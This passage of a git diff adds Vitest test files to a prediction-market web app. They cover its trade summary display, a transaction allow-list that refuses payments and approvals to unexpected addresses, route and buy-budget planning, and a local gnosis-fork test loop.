"Merge≈ 1 pair → ≈ 1 token", + "Buy≈ 1 token → ≈ 3 UP", + ]); + }); + + it("names one of a unit in the singular", () => { + const plan: Plan = { + ...NO_TRADES, + sells: [{ side: "up", amountIn: 2n * WAD, underlyingOut: WAD, toTarget: false, fee: 0n }], + }; + renderSummary({ [GERWIG]: { from: 312, to: 280, plan } }, true, selected, { amount: WAD, noun: "city" }); + + expect(legs("Greta Gerwig")).toEqual(["Sell2 UP → ≈ 1 token"]); + expect(screen.getByTestId("trade-mint")).toHaveTextContent(/^Mint1 sDAI → 1 token of every city$/); + }); + + it("groups a large figure and rounds it to the amount field's four decimals", () => { + const plan: Plan = { + ...NO_TRADES, + sells: [{ side: "down", amountIn: 1_234_567_891n * 10n ** 15n, underlyingOut: WAD, toTarget: false, fee: 0n }], + }; + renderSummary({ [GERWIG]: { from: 312, to: 355, plan } }, true); + + expect(legs("Greta Gerwig")).toEqual(["Sell1,234,567.891 DOWN → ≈ 1 token"]); + }); + + it("closes with a note that prices are checked again, once any option is planned", () => { + renderSummary({ [GERWIG]: { from: 312, to: 312, plan: NO_TRADES } }, true); + + expect(screen.getByTestId("trades-note")).toHaveTextContent( + /^Planned from today's pools\. Prices are checked again when you confirm\.$/, + ); + }); + + it("has no note before any option is planned", () => { + renderSummary({ [GERWIG]: { from: 312, to: 355 } }, true); + + expect(screen.queryByTestId("trades-note")).toBeNull(); + }); + + it("mints the collateral going in into a token of every option", () => { + renderSummary({}, true, selected, { amount: 10n * WAD, noun: "city" }); + + expect(screen.getByTestId("trade-mint")).toHaveTextContent(/^Mint10 sDAI → 10 tokens of every city$/); + }); + + it("mints what the amount field shows, to four decimals, and names a sliver under them", () => { + renderSummary({}, true, selected, { amount: 12_345n * 10n ** 14n, noun: "city" }); + expect(screen.getByTestId("trade-mint")).toHaveTextContent(/^Mint1.2345 sDAI → 1.2345 tokens of every city$/); + }); + + it("names a merge under the last decimal as less than it", () => { + const plan: Plan = { + ...NO_TRADES, + split: WAD, + merge: 10n ** 13n, + sells: [{ side: "up", amountIn: WAD, underlyingOut: cents(25n), toTarget: false, fee: 0n }], + }; + renderSummary({ [GERWIG]: { from: 312, to: 280, plan } }, true); + + expect(legs("Greta Gerwig")).toContain("Mergeless than 0.0001 pairs → less than 0.0001 tokens"); + }); + + it("names no mint with nothing going in", () => { + renderSummary({}, true, selected, { amount: 0n, noun: "city" }); + + expect(screen.queryByTestId("trade-mint")).toBeNull(); + }); +}); + +describe("PredictSummary closed", () => { + it("keeps its rows on the page for the toggle to point at, hidden and out of reach", () => { + renderSummary({ [GERWIG]: { from: 312, to: 355 } }); + + const list = document.getElementById(head().getAttribute("aria-controls")!); + expect(list).not.toBeNull(); + expect(list).toHaveAttribute("aria-hidden", "true"); + expect(list).toHaveAttribute("inert"); + expect(rows()).toEqual([]); + }); + + it("opens them to reading and to focus", () => { + renderSummary({ [GERWIG]: { from: 312, to: 355 } }, true); + + const list = document.getElementById(head().getAttribute("aria-controls")!); + expect(list).not.toHaveAttribute("aria-hidden"); + expect(list).not.toHaveAttribute("inert"); + expect(rows()).toHaveLength(3); + }); +}); + +/** A sell that spends all it was sized to, so the pool stops short of the estimate. */ +const shortOf = (toTarget: boolean): Plan => ({ + ...NO_TRADES, + split: WAD, + sells: [{ side: "down", amountIn: WAD, underlyingOut: cents(40n), toTarget, fee: 0n }], +}); + +describe("PredictSummary on an option its amount cannot move all the way", () => { + it("says it stops short of the estimate under the option's row", () => { + // value 400, the move ends at 355 + renderSummary({ [GERWIG]: { from: 312, to: 355, plan: shortOf(false) } }, true); + + expect(within(rows()[0]!).getByTestId("stops-short")).toHaveTextContent(/^Stops short of your estimate$/); + }); + + it("counts it in the headline beside the markets that move", () => { + renderSummary({ + [GERWIG]: { from: 312, to: 355, plan: shortOf(false) }, + [COOGLER]: { from: 296, to: 400, plan: shortOf(true) }, + }); + + expect(head()).toHaveTextContent(/^2 markets move · 1 stops short$/); + }); + + it("says nothing where a leg reaches the estimate", () => { + renderSummary({ [GERWIG]: { from: 312, to: 400, plan: shortOf(true) } }, true); + + expect(screen.queryByTestId("stops-short")).toBeNull(); + expect(head()).toHaveTextContent(/^1 market moves$/); + }); + + it("says nothing where a leg reaches the estimate, though the shown end rounds off it", () => { + renderSummary({ [GERWIG]: { from: 312, to: 399, plan: shortOf(true) } }, true); + + expect(screen.queryByTestId("stops-short")).toBeNull(); + }); + + it("says nothing where the move ends on the estimate as shown", () => { + renderSummary({ [GERWIG]: { from: 312, to: 400.0001, plan: shortOf(false) } }, true); + + expect(screen.queryByTestId("stops-short")).toBeNull(); + }); +}); + +describe("PredictSummary's pool fees", () => { + it("closes an option's legs with its pool fees in its tokens, as the pool maths simulates them", () => { + renderSummary({ [GERWIG]: { from: 312, to: 355, plan: { ...shortOf(false), feeValue: cents(3n) } } }, true); + + expect(legs("Greta Gerwig").at(-1)).toBe("Pool fees≈ 0.03 tokens"); + }); + + it("names no fees for pools that charge none", () => { + renderSummary({ [GERWIG]: { from: 312, to: 355, plan: shortOf(false) } }, true); + + expect(legs("Greta Gerwig").some((leg) => leg.startsWith("Pool fees"))).toBe(false); + }); + + it("sums the fees under the markets where more than one option pays any", () => { + const fee = (cents_: bigint) => ({ ...shortOf(false), feeValue: cents(cents_) }); + renderSummary( + { [GERWIG]: { from: 312, to: 355, plan: fee(3n) }, [COOGLER]: { from: 296, to: 300, plan: fee(4n) } }, + true, + ); + + expect(screen.getByTestId("fees-total")).toHaveTextContent(/^Pool fees, all markets≈ 0.07 tokens$/); + }); + + it("sums nothing where one option pays fees", () => { + renderSummary({ [GERWIG]: { from: 312, to: 355, plan: { ...shortOf(false), feeValue: cents(3n) } } }, true); + + expect(screen.queryByTestId("fees-total")).toBeNull(); + }); +}); + +function renderWith(extra: { + creditsSwap?: CreditsSwapShown; + slippage?: { tradeBps: number; creditsBps?: number }; + onOpenSettings?: () => void; +}) { + return render( + , + ); +} + +describe("PredictSummary's credits swap", () => { + const swap = (loss: bigint): CreditsSwapShown => ({ + credits: 15n * WAD, + preview: { + amount: cents(1620n), + creditsBps: 20, + quoted: cents(1620n), + vaultValue: cents(1620n) + loss, + floor: cents(1610n), + loss, + minted: cents(1290n), + }, + }); + + it("names the credits it swaps and the xDAI the quote pays", () => { + renderWith({ creditsSwap: swap(0n) }); + + expect(screen.getByTestId("credits-swap")).toHaveTextContent(/^Credits swap15 credits → ≈ 16.2 xDAI$/); + }); + + it("names what the swap loses against the vault's rate", () => { + renderWith({ creditsSwap: swap(cents(3n)) }); + + expect(screen.getByTestId("credits-loss")).toHaveTextContent(/^Swap loss≈ 0.03 xDAI$/); + }); + + it("names what the swap paid before the pool moved, in the warning tone", () => { + renderWith({ creditsSwap: { ...swap(0n), was: { ...swap(0n).preview, quoted: cents(1700n) } } }); + + expect(screen.getByTestId("credits-was")).toHaveTextContent(/^Before: ≈ 17 xDAI$/); + expect(screen.getByTestId("credits-was")).toHaveClass("text-fs-tone-warning-text"); + }); + + it("names no loss where the pool pays the vault's rate or more", () => { + renderWith({ creditsSwap: swap(0n) }); + + expect(screen.queryByTestId("credits-loss")).toBeNull(); + }); +}); + +describe("PredictSummary's slippage", () => { + const slippageRows = () => screen.getAllByTestId("slippage-row").map((row) => row.textContent); + const creditsSwap: CreditsSwapShown = { + credits: WAD, + preview: { amount: WAD, creditsBps: 20, quoted: WAD, vaultValue: WAD, floor: WAD, loss: 0n, minted: WAD }, + }; + + it("names the trades' slippage in use as its value", () => { + renderWith({ slippage: { tradeBps: 300 } }); + + expect(slippageRows()).toEqual(["Max slippage3%"]); + }); + + it("names the credits swap's slippage where one is still to sign", () => { + renderWith({ slippage: { tradeBps: 100, creditsBps: 50 }, creditsSwap }); + + expect(slippageRows()).toEqual(["Max slippage1%", "Credits swap slippage0.5%"]); + }); + + it("keeps the row out of the tab order while Details is folded", () => { + render( + , + ); + + expect(screen.getByTestId("slippage-row").tagName).toBe("P"); + }); + + it("opens the settings from a row", async () => { + const onOpenSettings = vi.fn(); + renderWith({ slippage: { tradeBps: 100 }, onOpenSettings }); + + await userEvent.click(screen.getByRole("button", { name: /^Max slippage/ })); + + expect(onOpenSettings).toHaveBeenCalledOnce(); + }); +}); + +describe("PredictSummary after the pools moved", () => { + it("names where a changed market's move was before, under its new one", () => { + renderSummary({ [GERWIG]: { from: 312, to: 340, was: { from: 312, to: 355 } } }, true); + + expect(within(rows()[0]!).getByTestId("market-move")).toHaveTextContent(/^312 → 340 \$M$/); + expect(within(rows()[0]!).getByTestId("market-was")).toHaveTextContent(/^Before: 312 → 355 \$M$/); + expect(within(rows()[0]!).getByTestId("market-was")).toHaveClass("text-fs-tone-warning-text"); + }); +}); diff --git a/apps/web/src/features/predict/flow/__tests__/allowed.test.ts b/apps/web/src/features/predict/flow/__tests__/allowed.test.ts new file mode 100644 index 00000000..21159dec --- /dev/null +++ b/apps/web/src/features/predict/flow/__tests__/allowed.test.ts @@ -0,0 +1,175 @@ +import type { FlowTx } from "@foresight/tx-orchestrator"; +import { encodeFunctionData, parseAbi, type Address, type Hex } from "viem"; +import { describe, expect, it } from "vitest"; + +import { ALGEBRA_ROUTER_ABI } from "@/lib/swap/algebraRouter"; + +import { tradeExecutorAbi } from "@/config/contracts"; + +import { assertListed, departures, UnlistedTxError } from "../allowed"; +import { addresses, ctx } from "./support/fakes"; + +const other: Address = "0x00000000000000000000000000000000000000ee"; +const transfer = (to: Address) => + encodeFunctionData({ + abi: parseAbi(["function transfer(address,uint256)"]), + functionName: "transfer", + args: [to, 7n], + }); +const approve = (spender: Address, amount = 7n) => + encodeFunctionData({ + abi: parseAbi(["function approve(address,uint256)"]), + functionName: "approve", + args: [spender, amount], + }); +const swap = (recipient = addresses.executor, limitSqrtPrice = 1n) => + encodeFunctionData({ + abi: ALGEBRA_ROUTER_ABI, + functionName: "exactInputSingle", + args: [ + { + tokenIn: addresses.collateral, + tokenOut: addresses.wxdai, + recipient, + deadline: 1800n, + amountIn: 7n, + amountOutMinimum: 3n, + limitSqrtPrice, + }, + ], + }); +const batch = (to: Address, data: Hex): FlowTx => ({ + to: addresses.executor, + data: encodeFunctionData({ abi: tradeExecutorAbi, functionName: "batchExecute", args: [[{ to, data }]] }), +}); +const execute = (to: Address, outputToken: Address, recipient = addresses.executor) => + batch( + addresses.manager, + encodeFunctionData({ + abi: parseAbi(["function execute(address,bytes,uint256,address)"]), + functionName: "execute", + args: [to, swap(recipient), 7n, outputToken], + }), + ); +const check = (tx: FlowTx) => assertListed({ tx, ctx: ctx(), sessionTokens: [addresses.collateral] }); + +describe("predict transaction allow-list", () => { + it("accepts a finite router approval without an optional sender", () => { + expect(() => check(batch(addresses.collateral, approve(addresses.swapRouter)))).not.toThrow(); + }); + + it("refuses a chain without an allow-list", () => { + expect( + departures({ + tx: { to: addresses.collateral, data: transfer(addresses.executor) }, + ctx: ctx({ chainId: 999999 }), + sessionTokens: [], + }), + ).toEqual(["no allow-list for chain 999999"]); + }); + + it.each([ + ["selector on another target", "is not allowed", { to: other, data: transfer(addresses.executor) }], + [ + "unlisted selector on collateral", + "is not allowed", + { to: addresses.collateral, data: approve(addresses.swapRouter) }, + ], + [ + "native deposit to another receiver", + "not the executor", + { + to: addresses.sDaiAdapter, + value: 7n, + data: encodeFunctionData({ + abi: parseAbi(["function depositXDAI(address) payable"]), + functionName: "depositXDAI", + args: [other], + }), + }, + ], + [ + "native value on a transfer", + "carries 1 native", + { to: addresses.collateral, value: 1n, data: transfer(addresses.executor) }, + ], + ["transfer to another receiver", "not the executor", { to: addresses.collateral, data: transfer(other) }], + ["approval to another spender", "approves", batch(addresses.collateral, approve(other))], + [ + "unlimited router approval", + "approves an unbounded amount", + batch(addresses.collateral, approve(addresses.swapRouter, 2n ** 256n - 1n)), + ], + ["swap to another receiver", "swap pays", batch(addresses.swapRouter, swap(other))], + [ + "swap without a price limit", + "swap carries no price limit", + batch(addresses.swapRouter, swap(addresses.executor, 0n)), + ], + ["credits through another router", "credits spent through", execute(other, addresses.wxdai)], + ["credits buying another token", "credits buy", execute(addresses.swapRouter, other)], + ["credits to another receiver", "credits swap pays", execute(addresses.swapRouter, addresses.wxdai, other)], + [ + "native split for another parent", + "not the session's parent", + { + to: addresses.executor, + data: encodeFunctionData({ + abi: tradeExecutorAbi, + functionName: "batchValueExecute", + args: [ + [ + { + to: addresses.wxdai, + value: 0n, + data: encodeFunctionData({ + abi: parseAbi(["function withdraw(uint256)"]), + functionName: "withdraw", + args: [7n], + }), + }, + { + to: addresses.router, + value: 7n, + data: encodeFunctionData({ + abi: parseAbi(["function splitFromBase(address) payable"]), + functionName: "splitFromBase", + args: [other], + }), + }, + ], + ], + }), + }, + ], + ] satisfies [string, string, FlowTx][])("refuses %s", (_, reason, tx) => { + expect(() => check(tx)).toThrow(UnlistedTxError); + expect(departures({ tx, ctx: ctx(), sessionTokens: [addresses.collateral] })).toEqual([ + expect.stringContaining(reason), + ]); + }); + + it("refuses a send from anyone other than the run owner", () => { + expect(() => + assertListed({ + tx: { to: addresses.collateral, data: transfer(addresses.executor) }, + ctx: ctx(), + sessionTokens: [addresses.collateral], + from: other, + }), + ).toThrow(UnlistedTxError); + }); + + it("accepts a native deposit paying this executor", () => { + const tx = { + to: addresses.sDaiAdapter, + value: 7n, + data: encodeFunctionData({ + abi: parseAbi(["function depositXDAI(address) payable"]), + functionName: "depositXDAI", + args: [addresses.executor], + }), + }; + expect(() => check(tx)).not.toThrow(); + }); +}); diff --git a/apps/web/src/features/predict/flow/__tests__/assertRoutes.test.ts b/apps/web/src/features/predict/flow/__tests__/assertRoutes.test.ts new file mode 100644 index 00000000..63c17240 --- /dev/null +++ b/apps/web/src/features/predict/flow/__tests__/assertRoutes.test.ts @@ -0,0 +1,60 @@ +import { describe, expect, it, vi } from "vitest"; + +import { sqrtPriceX96FromPrice } from "../../utils/poolMath"; +import { assertRoutes, AtEstimatesError, NoRouteError } from "../plan"; +import type { OptionChainState, PredictOption } from "../types"; +import { chainState, ctx, fakeQuoter, fakeReader, option, snapshot, WAD } from "./support/fakes"; + +const TARGET = WAD / 4n; + +/** Both pools already at the estimate, so the option has nothing to trade. */ +const atTarget: OptionChainState = chainState({ + pools: { + up: { + sqrtPriceX96: sqrtPriceX96FromPrice(TARGET, true), + liquidity: WAD, + tick: 0, + fee: 0n, + ticks: [], + outcomeIsToken0: true, + }, + down: { + sqrtPriceX96: sqrtPriceX96FromPrice(WAD - TARGET, true), + liquidity: WAD, + tick: 0, + fee: 0n, + ticks: [], + outcomeIsToken0: true, + }, + }, +}); + +const routable = option(1, TARGET); +const stuck = option(2, TARGET); +const state = (each: PredictOption) => (each.childMarket === stuck.childMarket ? atTarget : chainState()); + +describe("assertRoutes", () => { + it("refuses when any one batch has nothing to trade", async () => { + const deps = { reader: fakeReader({ state }), quoter: fakeQuoter() }; + + await expect( + assertRoutes(ctx(), snapshot({ options: [routable, stuck], optionsPerBatch: 1 }), deps), + ).rejects.toBeInstanceOf(NoRouteError); + }); + + it("says the prices already sit at the estimates only when every batch has nothing to trade", async () => { + const deps = { reader: fakeReader({ state: () => atTarget }), quoter: fakeQuoter() }; + + await expect( + assertRoutes(ctx(), snapshot({ options: [option(3, TARGET), stuck], optionsPerBatch: 1 }), deps), + ).rejects.toBeInstanceOf(AtEstimatesError); + }); + + it("passes a batch where one option routes, without reporting the other as left out", async () => { + const onLeftOut = vi.fn(); + const deps = { reader: fakeReader({ state }), quoter: fakeQuoter(), onLeftOut }; + + await expect(assertRoutes(ctx(), snapshot({ options: [routable, stuck] }), deps)).resolves.toBeUndefined(); + expect(onLeftOut).not.toHaveBeenCalled(); + }); +}); diff --git a/apps/web/src/features/predict/flow/__tests__/buyBudget.test.ts b/apps/web/src/features/predict/flow/__tests__/buyBudget.test.ts new file mode 100644 index 00000000..3cafe286 --- /dev/null +++ b/apps/web/src/features/predict/flow/__tests__/buyBudget.test.ts @@ -0,0 +1,204 @@ +import { decodeFunctionData, encodeFunctionData, erc20Abi, type Address, type Hex } from "viem"; +import { describe, expect, it } from "vitest"; + +import { ALGEBRA_ROUTER_ABI } from "@/lib/swap/algebraRouter"; +import type { SwapQuote, SwapQuoter } from "@/lib/swap/types"; + +import { gnosisRouterAbi, tradeExecutorAbi } from "@/config/contracts"; + +import { planPredict, STEP_ID } from "../plan"; +import type { OptionChainState, PredictOption } from "../types"; +import { addresses, AT, chainState, ctx, DEEP, fakeQuoter, fakeReader, option, snapshot, WAD } from "./support/fakes"; + +/** A quoter that remembers each quote by its calldata, so a swap in the batch can be traced to it. */ +function recordingQuoter(rate = 50n): SwapQuoter & { byData: Map } { + const inner = fakeQuoter(); + const byData = new Map(); + return { + byData, + async quote(request) { + const original = await inner.quote(request); + const amountOut = (request.amount * rate) / 100n; + const decoded = decodeFunctionData({ abi: ALGEBRA_ROUTER_ABI, data: original.data }); + const quote = { + ...original, + amountOut, + data: encodeFunctionData({ + abi: ALGEBRA_ROUTER_ABI, + functionName: "exactInputSingle", + args: [{ ...decoded.args[0], amountOutMinimum: amountOut }], + }), + }; + byData.set(quote.data, quote); + return quote; + }, + }; +} + +/** The least a swap may return before it reverts: the quote less the slippage the run allows. */ +const worstFill = (quote: SwapQuote, slippageBps: number): bigint => + (quote.amountOut * BigInt(10_000 - slippageBps)) / 10_000n; + +interface Ledger { + /** Each option's underlying held by the executor, at the lowest point the batch reached. */ + lowest: Map; + buys: number; +} + +/** + * Replays a predict batch against the executor's underlying balances, with every sell paying its + * minimum and every buy spending the amount it approved. + */ +function replayWorstCase( + data: Hex, + options: PredictOption[], + states: OptionChainState[], + quotes: Map, + slippageBps: number, +): Ledger { + const underlyingOf = new Map(options.map((each) => [each.childMarket.toLowerCase(), each.underlying])); + const isUnderlying = new Set(options.map((each) => each.underlying.toLowerCase())); + const balance = new Map(options.map((each, index) => [each.underlying, states[index]!.underlying])); + const lowest = new Map(balance); + let pendingBuy = 0n; + let buys = 0; + + const move = (token: Address, delta: bigint) => { + const next = balance.get(token)! + delta; + balance.set(token, next); + if (next < lowest.get(token)!) lowest.set(token, next); + }; + + const decoded = decodeFunctionData({ abi: tradeExecutorAbi, data }); + if (decoded.functionName !== "batchExecute") throw new Error(`Expected batchExecute, got ${decoded.functionName}`); + + for (const call of decoded.args[0]) { + if (call.to === addresses.swapRouter) { + const quote = quotes.get(call.data); + if (quote === undefined) throw new Error(`A swap in the batch was never quoted: ${call.data}`); + if (pendingBuy > 0n) { + buys += 1; + pendingBuy = 0n; + continue; + } + const [{ tokenOut }] = decodeFunctionData({ abi: ALGEBRA_ROUTER_ABI, data: call.data }).args; + const underlying = options.find((each) => each.underlying.toLowerCase() === tokenOut.toLowerCase())!.underlying; + move(underlying, worstFill(quote, slippageBps)); + continue; + } + + if (isUnderlying.has(call.to.toLowerCase())) { + const approve = decodeFunctionData({ abi: erc20Abi, data: call.data }); + const [spender, amount] = approve.args as readonly [Address, bigint]; + if (spender === addresses.swapRouter && amount > 0n) { + pendingBuy = amount; + move(options.find((each) => each.underlying.toLowerCase() === call.to.toLowerCase())!.underlying, -amount); + } + continue; + } + + if (call.to === addresses.router) { + const router = decodeFunctionData({ abi: gnosisRouterAbi, data: call.data }); + if (router.functionName !== "splitPosition" && router.functionName !== "mergePositions") continue; + const [, market, amount] = router.args as readonly [Address, Address, bigint]; + if (market === addresses.parentMarket) { + for (const each of options) move(each.underlying, amount); + continue; + } + const underlying = underlyingOf.get(market.toLowerCase())!; + move(underlying, router.functionName === "splitPosition" ? -amount : amount); + } + } + + return { lowest, buys }; +} + +/** UP far above its target in a deep pool, so the sell takes every UP token and leaves nothing to merge. */ +const sellsEverything = (): OptionChainState => + chainState({ + pools: { + up: { sqrtPriceX96: AT["1"], liquidity: DEEP, tick: 0, fee: 0n, ticks: [], outcomeIsToken0: true }, + down: { sqrtPriceX96: AT["0.25"], liquidity: DEEP, tick: 0, fee: 0n, ticks: [], outcomeIsToken0: true }, + }, + }); + +async function buildWorstCase(args: { + slippageBps: number; + options: PredictOption[]; + state: () => OptionChainState; + rate?: bigint; + collateralIn?: bigint; + batch?: number; +}) { + const quoter = recordingQuoter(args.rate); + const batchOptions = args.batch ? [args.options[args.batch - 1]!] : args.options; + const states = batchOptions.map(() => args.state()); + const snap = snapshot({ + options: args.options, + slippage: { tradeBps: args.slippageBps, creditsBps: 0 }, + ...(args.collateralIn === undefined ? {} : { collateralIn: args.collateralIn, deposit: args.collateralIn }), + ...(args.batch ? { optionsPerBatch: 1 } : {}), + }); + const deps = { reader: fakeReader({ state: args.state }), quoter }; + + const step = planPredict(snap, deps).find((each) => each.id === STEP_ID.predict(args.batch ?? 1))!; + const tx = await step.build(ctx(), snap); + + return replayWorstCase(tx.data!, batchOptions, states, quoter.byData, args.slippageBps); +} + +describe("the buys a batch can afford when every sell fills at its minimum", () => { + const cases = [ + { name: "a sell that leaves nothing to merge", options: [option(1)], state: sellsEverything }, + { name: "a sell that leaves pairs to merge", options: [option(1)], state: () => chainState() }, + { name: "two options in one batch", options: [option(1), option(2)], state: sellsEverything }, + ]; + + for (const slippageBps of [100, 300]) { + for (const { name, options, state } of cases) { + it(`never spends underlying the executor does not hold, at ${slippageBps / 100}% slippage: ${name}`, async () => { + const { lowest, buys } = await buildWorstCase({ slippageBps, options, state }); + + expect(buys).toBeGreaterThan(0); + for (const each of options) { + expect(lowest.get(each.underlying)!).toBeGreaterThanOrEqual(0n); + } + }); + } + } +}); + +describe.each([100, 300])("buy budget at %i bps across stakes and batches", (slippageBps) => { + it.each([WAD / 10n, WAD * 7n, WAD * 1_000n])("funds a buy at a stake of %s", async (collateralIn) => { + const { lowest, buys } = await buildWorstCase({ + slippageBps, + options: [option(1)], + state: sellsEverything, + collateralIn, + }); + expect(buys).toBe(1); + expect(lowest.get(option(1).underlying)).toBeGreaterThanOrEqual(0n); + }); + + it("funds a buy when the sell pays more than its input", async () => { + const { lowest, buys } = await buildWorstCase({ + slippageBps, + options: [option(1)], + state: sellsEverything, + rate: 300n, + }); + expect(buys).toBe(1); + expect(lowest.get(option(1).underlying)).toBeGreaterThanOrEqual(0n); + }); + + it("funds a later batch from its held underlying", async () => { + const { lowest, buys } = await buildWorstCase({ + slippageBps, + options: [option(1), option(2)], + batch: 2, + state: () => chainState({ ...sellsEverything(), underlying: WAD * 2n }), + }); + expect(buys).toBe(1); + expect(lowest.get(option(2).underlying)).toBeGreaterThanOrEqual(0n); + }); +}); diff --git a/apps/web/src/features/predict/flow/__tests__/feedback-loop.fork.test.ts b/apps/web/src/features/predict/flow/__tests__/feedback-loop.fork.test.ts new file mode 100644 index 00000000..34c071ad --- /dev/null +++ b/apps/web/src/features/predict/flow/__tests__/feedback-loop.fork.test.ts @@ -0,0 +1,144 @@ +// @vitest-environment node +import { execFile } from "node:child_process"; +import { mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import path from "node:path"; + +import { afterAll, beforeAll, describe, expect, it } from "vitest"; + +/** + * The predict-flow epic's loop, from an agent's side: seed the fork, then `yarn test:fork`. + * Needs `yarn local-stack gnosis-fork` running; run with + * `FORK_RPC_URL=http://127.0.0.1:8545 yarn workspace web vitest run feedback-loop.fork`. + * Not matched by `test:fork`'s `predict.fork` filter, which these tests invoke. + */ +const FORK_RPC_URL = process.env.FORK_RPC_URL; +const HASURA_URL = process.env.FORK_HASURA_URL ?? "http://localhost:8080/v1/graphql"; +const HASURA_SECRET = process.env.FORK_HASURA_SECRET ?? "testing"; + +/** What a fresh shell has: nothing the app's env files would have loaded into this process. */ +const SHELL_KEYS = [ + "PATH", + "HOME", + "USER", + "LOGNAME", + "SHELL", + "TMPDIR", + "LANG", + "TERM", + "VOLTA_HOME", + "COREPACK_HOME", +]; +const shellEnv = Object.fromEntries( + SHELL_KEYS.flatMap((key) => (process.env[key] === undefined ? [] : [[key, process.env[key]!]])), +) as NodeJS.ProcessEnv; + +interface Run { + code: number | null; + output: string; +} + +function run(command: string, args: string[], cwd: string): Promise { + return new Promise((resolve) => { + execFile(command, args, { cwd, env: shellEnv, maxBuffer: 64 * 1024 * 1024 }, (error, stdout, stderr) => { + const code = error ? (typeof error.code === "number" ? error.code : 1) : 0; + resolve({ code, output: `${stdout}\n${stderr}` }); + }); + }); +} + +async function runOk(command: string, args: string[], cwd: string): Promise { + const result = await run(command, args, cwd); + if (result.code !== 0) throw new Error(`${command} ${args.join(" ")} exited ${result.code}\n${result.output}`); + return result.output; +} + +const repoRoot = async () => (await runOk("git", ["rev-parse", "--show-toplevel"], process.cwd())).trim(); + +/** Seeds a session on the fork and holds until the indexer has it, and with liquidity both pools of every option. */ +async function seedSession(root: string, { liquidity }: { liquidity: boolean }): Promise { + const output = await runOk("yarn", ["simulate:session:gnosis-fork", ...(liquidity ? ["--liquidity"] : [])], root); + const sessionId = output.match(/Session #(\d+)/)?.[1]; + if (sessionId === undefined) throw new Error(`The seed printed no session id:\n${output}`); + + const deadline = Date.now() + 120_000; + while (Date.now() < deadline) { + const response = await fetch(HASURA_URL, { + method: "POST", + headers: { "content-type": "application/json", "x-hasura-admin-secret": HASURA_SECRET }, + body: JSON.stringify({ + query: `{ Session(where: {sessionId: {_eq: "${sessionId}"}}) { id children { pools { id } } } }`, + }), + }); + const body = (await response.json()) as { data?: { Session: Array<{ children: Array<{ pools: unknown[] }> }> } }; + const session = body.data?.Session[0]; + // the suites read a pool as soon as the session shows, and the indexer writes the pools after it + if (session && (!liquidity || session.children.every((child) => child.pools.length >= 2))) return sessionId; + await new Promise((resolve) => setTimeout(resolve, 2_000)); + } + throw new Error(`The indexer never picked up session #${sessionId}${liquidity ? " and its pools" : ""}.`); +} + +/** The `Tests` count line of a vitest run, which says whether anything ran rather than skipped. */ +function testsLine(output: string): string { + // eslint-disable-next-line no-control-regex -- vitest colours its summary even off a TTY + const plain = output.replace(/\x1b\[[0-9;]*m/g, ""); + const line = plain.split("\n").find((each) => /^\s*Tests\s/.test(each)); + if (!line) throw new Error(`vitest printed no Tests line:\n${output}`); + return line; +} + +function expectForkSuitePassed(result: Run) { + expect(result.code, result.output).toBe(0); + const line = testsLine(result.output); + expect(line).toMatch(/\d+ passed/); + expect(line).not.toMatch(/failed|skipped/); +} + +describe("the predict-flow feedback loop, against a gnosis fork", () => { + const worktrees: string[] = []; + + // Seeded once, before any suite runs: a fork suite rewinds the chain with evm_revert, and the + // indexer can drop a session seeded onto a rewound height. The newest session has no pools. + beforeAll(async () => { + if (!FORK_RPC_URL) return; + const root = await repoRoot(); + await runOk("yarn", ["workspace", "@foresight/contracts", "build"], root); + await seedSession(root, { liquidity: true }); + await seedSession(root, { liquidity: false }); + }, 600_000); + + afterAll(async () => { + const root = await repoRoot(); + for (const dir of worktrees) { + await run("git", ["worktree", "remove", "--force", dir], root); + rmSync(dir, { recursive: true, force: true }); + } + }, 120_000); + + it.skipIf(!FORK_RPC_URL)( + "passes `yarn test:fork` in a fresh worktree that has no gitignored files", + async () => { + const root = await repoRoot(); + const dir = mkdtempSync(path.join(tmpdir(), "foresight-loop-")); + rmSync(dir, { recursive: true, force: true }); + worktrees.push(dir); + await runOk("git", ["worktree", "add", "--detach", dir, "HEAD"], root); + + // a fresh checkout carries no env file, no install, nothing ignored + expect(await runOk("git", ["status", "--ignored", "--porcelain"], dir)).not.toMatch(/^!!/m); + + await runOk("yarn", ["install", "--immutable"], dir); + expectForkSuitePassed(await run("yarn", ["test:fork"], dir)); + }, + 1_200_000, + ); + + it.skipIf(!FORK_RPC_URL)( + "picks a session with pools when a session without liquidity was opened after it", + async () => { + expectForkSuitePassed(await run("yarn", ["test:fork"], await repoRoot())); + }, + 900_000, + ); +}); diff --git a/apps/web/src/features/predict/flow/__tests__/legMinOut.test.ts b/apps/web/src/features/predict/flow/__tests__/legMinOut.test.ts new file mode 100644 index 00000000..023bc163 --- /dev/null +++ b/apps/web/src/features/predict/flow/__tests__/legMinOut.test.ts @@ -0,0 +1,224 @@ +import { decodeFunctionData, encodeFunctionData, parseAbi, type Address, type Hex, type PublicClient } from "viem"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +import { createLensQuoter } from "@/lib/swap/lens"; +import type { SwapQuoter, SwapQuoteRequest } from "@/lib/swap/types"; + +import { tradeExecutorAbi } from "@/config/contracts"; + +import type { PoolLiquidity } from "@/types/pool"; + +import { SLIPPAGE_BPS } from "../../oracle/tolerances"; +import { planPredict, STEP_ID } from "../plan"; +import type { PredictOption } from "../types"; +import { chainState, ctx, fakeReader, snapshot, WAD } from "./support/fakes"; + +const ROUTER_ABI = parseAbi([ + "function exactInputSingle((address tokenIn, address tokenOut, address recipient, uint256 deadline, uint256 amountIn, uint256 amountOutMinimum, uint160 limitSqrtPrice) params) payable returns (uint256 amountOut)", +]); +const SWAPR_ROUTER = "0xfFB643E73f280B97809A8b41f7232AB401a04ee1" as Address; + +const lensQuote = vi.fn(); + +vi.mock("@seer-pm/lens/client", () => ({ + Lens: class { + quote = lensQuote; + }, +})); + +/** Algebra orders a pool's tokens by address: UP and DOWN sit below the underlying, so each is token0. */ +const OPTION: Omit = { + childMarket: "0x0100000000000000000000000000000000000001", + upToken: "0x0300000000000000000000000000000000000003", + downToken: "0x0400000000000000000000000000000000000004", + invalidToken: "0x0500000000000000000000000000000000000005", + underlying: "0x0900000000000000000000000000000000000009", +}; + +/** UP's X96 sqrt price, exact: 2^95 at a price of 0.25, 129 * 2^88 at (129/256)^2. */ +const SQRT = { "0.25": 2n ** 95n, "16641/65536": 129n * 2n ** 88n } as const; +const PRICE = { "0.25": WAD / 4n, "16641/65536": (WAD * 16_641n) / 65_536n } as const; + +/** Deep enough that a leg clears the dust floor, shallow enough that the split covers the sell. */ +const LIQUIDITY = 10n * WAD; + +/** Fee in millionths, 